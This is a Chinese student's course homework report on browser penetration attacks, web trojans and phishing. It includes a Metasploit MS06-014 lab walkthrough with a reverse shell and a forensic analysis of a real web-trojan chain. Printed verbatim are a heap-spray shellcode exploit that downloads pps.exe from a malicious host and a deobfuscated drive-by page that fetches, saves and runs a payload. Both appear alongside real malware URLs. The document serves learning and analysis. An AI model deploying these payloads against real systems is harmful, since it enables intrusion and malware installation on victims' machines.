20212820 2021-2022-2 《网络攻防实践》第十一周作业
1.实践内容
(一)Web浏览器的技术发展与安全威胁
1.Web浏览器战争与技术发展
浏览器战争:一共有三次,分别是网景和微软争夺市场份额;第二次是微软的IE浏览器与众多浏览器如火狐、谷歌等的大战;第三次是移动端的浏览器之争。
2.Web浏览器的基本结构与机理
现代浏览器基本机理如图所示,需要支持各种应用层吸引的Stream流接受与解析,并维护DOM对象模型结构。除了在内核引擎中实现符合各种标准的基本功能和特性之外,还采用扩展机制允许第三方的一些插件,以提升浏览器软件功能的丰富性。还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的应用。
3.Web浏览器的安全问题与威胁:
- 现代浏览器的源代码数量超过了100万行,复杂性意味着更多的安全错误和安全缺陷,也就导致浏览器中存在大量的安全漏洞。
- Web浏览器安全威胁的位置:
- 针对传输网络的网络协议安全威胁:网络是连接web应用服务端与客户端浏览器环境的媒介,同样web浏览器面临此类威胁。
- 针对web浏览器系统平台的安全威胁:桌面操作系统所存在的安全漏洞使得web浏览器环境存在被攻击的风险。
- 针对web浏览器软件及插件的渗透攻击的威胁:通过在桌面植入恶意木马程序来窃取信息。
- 针对互联网用户的社会工程学攻击:典型的攻击如网络钓鱼。
(二)web浏览端的渗透攻击威胁——网页木马
1.网页木马产生背景:是从恶意网页脚本所孕育和发展出来的。
-
由黑客地下经济链来驱动,有以下六种不同的参与者
-
网页木马存在的技术基础:使网页木马持续存在的另一个原因是web浏览器安全漏洞,提供了必要的技术条件。
- 所攻击的安全漏洞存在位置非常多样化;
- 出了利用操作系统平台本身的软件外,近年也发掘和利用其它流行应用软件中存在的漏洞;
- 一些影响范围广的漏洞会被持续利用。
2.机理分析
-
定义:网页木马是对web浏览器软件进行客户端渗透攻击的一类恶意移动代码,通常用脚本语言JavaScript、VBScript实现,或以Flash、PDF等恶意构造的文件形式存在。
-
机理分析与理解:网页木马攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问木马页面,与传统的服务器端渗透攻击主动进行网络扫描不同,在获得客户端远程计算机的远程代码执行权限后为进一步主机控制和窃取敏感信息,要植入一些盗号木马类型的恶意程序,因此较传统网页渗透攻击复杂。
-
本质:浏览器渗透攻击,例如MS06-014安全漏洞,利用该空间CreatObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程的代码执行漏洞,成功的利用这个漏洞的攻击者可以完全的控制受影响的系统。图中通过RDS.DataSpace对象来创建XMLHTTP对象来下载远程恶意程序,并利用DataSpace漏洞,由Adodb.Stream对象绕过应有的安全控制将下载文件流写入到文件系统指定位置,并利用同样的漏洞创建Shell.Application对象绕过安全控制直接激活已保存在文件系统中的恶意程序。
-
网页挂马机制:为了使得有终端用户使他们可能存在安全漏洞的web浏览端软件来访问网页木马,攻击者还需要将网页木马挂到拥有客户访问流量的网站页面上。主要有以下四种:
- 内嵌HTML标签:最常用的网页挂马内嵌标签为iframe,其功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面。当包含页面被打开时,被包含的页面也同时会被请求并显示在内嵌框架之中,攻击者便可利用这功能嵌入木马,其他标签还有frame、body等。
- 恶意Script脚本:利用了script脚本标签通过外部引用的方式来包含木马。
- 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载。
- ARP欺骗挂马:这种方法不需要真正地攻陷目标网站,在攻击安全防护严密的拥有大量访问用户的著名网站时非常有效,在同一以太网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入任意恶意脚本。
-
混淆机制:除了引入中间跳转节点进行嵌套连接,网页木马攻击还采用大量的混淆技术,来对抗反病毒软件的检测。
3.网页木马检测与分析技术:主要有以下几种。
- 基于特征匹配的传统检测方法:该方法受到网页木马普遍采用的防护技术,而很难发现所挂接的网页木马。
- 基于统计与机器学习的静态分析:该方法实际上对木马所采用的代码混淆或隐藏内嵌连接的特征进行检测。
- 基于动态行为结果判定的检测方法:该方法利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型web访问浏览器及应用软件环境,根据访问过程中是否触发了新的进程、文件系统修改等非预期变化,以判定当前访问页面中是否被挂接了网页木马。
- 基于模拟浏览器的动态分析检测:该方法以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染,该类方法的工具有The Honeynet Project的PHoneyC、UCSB的JSAND系统及提供wepawet在线分析服务。
- 分析技术综合对比:也是主要分为静态分析和动态分析两种,近年提出的基于动态分析检测的方法在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得良好效果。
5.防范措施
- 提升操作系统与浏览器的安全性;借助安全评估工具的帮助,避免访问安全性不高的网站。
(三)网络钓鱼
1.网络钓鱼技术概述:是社会工程学在互联网中广泛实施的典型工具方式,通过大量发送声称来自于银行或其他机构的欺骗性邮件,意图收信人给出个人敏感信息(如用户名、口令、账号ID等)
- 起源与发展:早期时候的钓鱼攻击都是单独行动,或组织较小,现在的钓鱼者首选策略是通过发送大量诱骗邮件或信息,冒充成一个可信任的机构,去引诱尽可能多的用户。
- 中国的钓鱼攻击:攻击者发送的大量欺骗性邮件,即使只有少部分人被欺骗,也达到了攻击者的目的,钓鱼网站所使用的域名与真实的网站域名只有很少的区别,很容易被忽略。中国的QQ等即时通讯软件也会被用作攻击的手段。例如“恭喜中奖”类钓鱼欺诈,冒仿央视节目的抽奖网站等。攻击者还可窃取QQ账号然后对好友进行钓鱼。
2.技术内幕
-
在攻陷的服务器上钓鱼,普遍的技术流程
- 攻击者扫描网段,寻找存有漏洞的服务器;
- 服务器被攻陷,安装一个Rootkit或口令保护的后门工具;
- 攻击者从加密到后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行网站搭建配置与测试工作,获得线上运行;
- 攻击者下载群发电子邮件工具。大规模散发包含钓鱼网站消息的垃圾邮件;
- 网页浏览的流量到达钓鱼网站,潜在受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人信息,攻击者可通过服务器后台脚本收集敏感信息。
-
攻击技术策略通常有以下几种:
- 在指向假冒网站的连接中使用IP地址代替域名,无戒备心的用户不会检查这个IP是否来自锁声称的机构。
- 注册发音相近或形似的DNS域名,并在上面架设假冒的网站。
- 在电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP链接指向真实的目标网站,而仅有少数的关键链接(如提交敏感信息的页面)指向假冒的网站。
- 对假冒网站的URL进行编码和混淆,IDN欺骗技术会使地址栏里看起来像是真实的网址,但实际上却指向一个完全不同的地址。
- 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息的实质。
- 架设一个假冒网站,作为目标机构真实网站的代理,并偷偷记录未使用SSL加密保护的口令信息。
- 通过恶意代码在受害机上装一个浏览器助手工具,然后将其受害者重定向到假冒的钓鱼网站。
-
通过“钱骡子”的资金转账:跨国资金转账会被银行监控,钓鱼者便以“支付代理”、“资金转账代理”等名义,以非常吸引人的转账支付报酬来吸引“钱骡子”,钓鱼者先从受害者银行账号中把钱转移到同一国家的“钱骡子”银行账号中,然后再把资金提现通过普通地面信件寄给钓鱼者。
3.网络钓鱼的防范措施
- 在未经核准的情况下,不要轻易相信并打开邮件中的链接;对中奖、优惠、紧急态度各种名义索取个人敏感信息的邮件要保持怀疑态度。
- 充分利用软件所提供的反钓鱼网站功能特性,对钓鱼网站的警告提示与举报功能。
- 在登陆网上银行、证券基金等关键网站进行金融操作时,务必重视网站的真实性,对网上银行异常动态提高警惕,如在陌生网址输入账号和密码,应立即拨打有关客服热线进行确认。
- 学习和修炼提升自己抵抗社会工程学攻击的能力。
2.实践过程
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
i.确定靶机win2k和攻击机kali,查看win2k的ip为:192.168.200.124。kali的ip为:192.168.200.4。确保两者可以Ping通
ii.在kali中进入msfconsole界面
iii.输入search MS06-014查看相关漏洞信息
iv.再使用use exploit/windows/browser/ie_createobject指令选择此漏洞,并使用show payloads指令查看负载信息。
v.输入命令:set payload generic/shell_reverse_tcp设置payload,并分别设置攻击机和靶机的IP地址
vi.输入run指令,执行此漏洞,得到Local IP等信息
vii.在靶机中访问http://192.168.200.4:8080/XBPzrT(上图Local IP),可得到一串代码,并查看攻击机kali处看到访问记录。
viii.最后通过sessions命令查看靶机建立起的session连接,通过session -i 1我们建立的reverse_tcp,并且通过ipconfig命令查看靶机IP,故此攻击成功
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
i.通过云班课的pdf查看start.html
ii.可以找到这两处,发现start.html中在引用new09.htm时没有使用绝对路径,说明两者在同一目录下。
iii.我们可以看到引用了http://aa.18dd.net/aa/kl.htm地址和http://js.users.51.la/1299644.js这个JS文件地址,这两个地址经过MD5算法加密后的数值分别为7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3。
iv.通过hashed文件夹中找到两个MD5加密数值对应的文件,并查看信息。
v.可以发现此文件的数据加解密方法用的是XXTEA+Base64方式。
vi.将\x73\x63\x72\x69\x70\x74转换为字符串,可由图中得出结果为script
vii.在https://cycy.sourceforge.io/xxtea/网站中输入script为密钥,然后将文件代码全部复制,点击解密,可解密得下图信息
viii.将数据中的十六进制转换为字符串后结果如下
viii.我们可以看到这个网页应用到了一下几个漏洞:微软数据库访问对象漏洞Adodb.Stream、暴风影音漏洞MPS.StormPlayer、PPStream的漏洞POWERPLAYER.PowerPlayerCtrl.1和百度搜霸的漏洞BaiduBar.Tool。这个文件还引用三个js文件和一个压缩包(bd.cab,解开后是bd.exe)。
vv.将3个js文件和一个压缩包分别作MD5散列,分别得到数值如下。
MD5(http://aa.18dd.net/aa/1.js) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab) = 1c1d7b3539a617517c49eee4120783b2
vvi.依次打开这四个文件,打开第一个文件发现是十六进制数据,解密后信息如下,这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe的可执行文件,后面部分是对ADODB漏洞的继续利用。
vvii.打开第二个文件,发现其使用packed加密方法,试用网站http://matthewfl.com/unPacker.html来进行解密,在下图结果中可以看到有shellcode关键字。根据参考PDF文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为 http://down.18dd.net/bb/bf.exe 得到一个可执行文件。
vviii.打开第三个文件,发现是8进制加密,解密结果如下,可得url为http://down.18dd.net/bb/pps.exe
/%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer
vvv.通过上述分析可以下载以下4个文件014.exe、bf.exe、pps.exe、bd.exe。并且通过对此几个文件的观察可知4个文件完全相同,所以只需要研究其中一个即可。用PEid软件打开任意一个exe文件,发现其是Delphi写的。
vvvi.然后用IDA pro软件打开pps.exe,将其反汇编
vvvii.分析得知一开始下载了许多木马文件,在下载过程中IE可能检测到了并给予了保护,此执行文件对保护选择允许运行,绕过了系统的提示。这也就说明了这个可执行文件具有一定面对防护措施的保护能力。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
i.攻击方步骤与实验(1)基本相同,攻击机为kali攻击机,IP地址为192.168.200.4,靶机为Win2k靶机,IP地址为192.168.200.124。步骤如实验(1)一样,将恶意网站Local IP:
http://192.168.200.4:8080/wnMshBjzNr
使用电子邮箱发到靶机那里,攻击完成。
ii.防守方打开网址后,右键进入源文件,发现其使用大量的空格换行,来防止靶机发现其危险性。、
iii.查看源代码,清除空格得到代码
<html> <head> <title></title> <script language="javascript">function MXYqMOUabBrGrmPMVWwLBRAzuH(o,n) { var r=null; try{ eval("r=o.CreateObject(n)") }catch(e){} if(!r){ try{ eval("r=o.CreateObject(n,'')") }catch(e){} } if(!r){ try{ eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')") }catch(e){} } if(!r){ try{ eval("r=o.GetObject('',n)") }catch(e){} } if(!r){ try{eval("r=o.GetObject(n,'')") }catch(e){} } if(!r){ try{eval("r=o.GetObject(n)") }catch(e){} } return(r); } functionPGCSEbpCZODKUW(a){ var s = MXYqMOUabBrGrmPMVWwLBRAzuH (a,"WScript.Shell"); var o = MXYqMOUabBrGrmPMVWwLBRAzuH(a,"ADODB.Stream"); var e = s.Environment("Process"); var url = document.location+'/payload'; var xml = null; var bin = e.Item("TEMP")+"\\uVR.exe"; var dat; try{ xml = newXMLHttpRequest(); }catch(e){ try{ xml = newActiveXObject("Microsoft.XMLHTTP"); }catch(e){ xml = newActiveXObject("MSXML2.ServerXMLHTTP"); } } if(!xml){ return(0); } xml.open("GET",url,false); xml.send(null); dat=xml.responseBody; o.Type=1; o.Mode=3; o.Open(); o.Write(dat); o.SaveToFile(bin,2); s.Run(bin,0); } functionpkEscoecGQtxTimQD(){ var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null); while(t[i]){ var a=null; if(t[i].substring(0,1)=='{'){ a = document.createElement("object"); a.setAttribute("classidclsid:"+t[i].substring(1,t[i].length-1)); } else{ try{ a = newActiveXObject(t[i]); }catch(e){} } if(a){ try{ varb = MXYqMOUabBrGrmPMVWwLBRAzuH(a,"WScript.Shell"); if(b){ PGCSEbpCZODKUW(a); return(0); } }catch(e){} } i++; } }</script> </head> <bodyonload='pkEscoecGQtxTimQD()'>dqhuhWHzobNhzArQgwLtNMOaeeSwYU</body></html>
iv.可以看到代码首先调用了document.location运行攻击载荷 ,并且附加了可执行文件uVR.exe,这个可执行文件首先会下载到靶机上,完成后会自动运行在靶机的后台,这个文件的名字每次都会改变,进而防止杀毒软件的查杀。打开win2k的任务管理器查看进程可以发现uVR.exe 正在后台运行,其作用就是帮助攻击机获取靶机的控制权限。
在Array后面有一串数据BD96C556-65A3-11D0-983A-00C04FC29E36等,查询这些内容可以知道攻击方利用了MS06-014漏洞。
3.学习中遇到的问题及解决
问题1:网页木马的分析方法的原理还不是很清楚
问题1解决方案:通过查找资料,仔细分析
4.实践总结
此次实验第二个花费的时间最多,一点点去分析去挖掘很繁琐,一点点查找资料去搞明白是什么意思,在这一过程中我感觉我的网络攻防水平慢慢的在提升,学到了很多东西。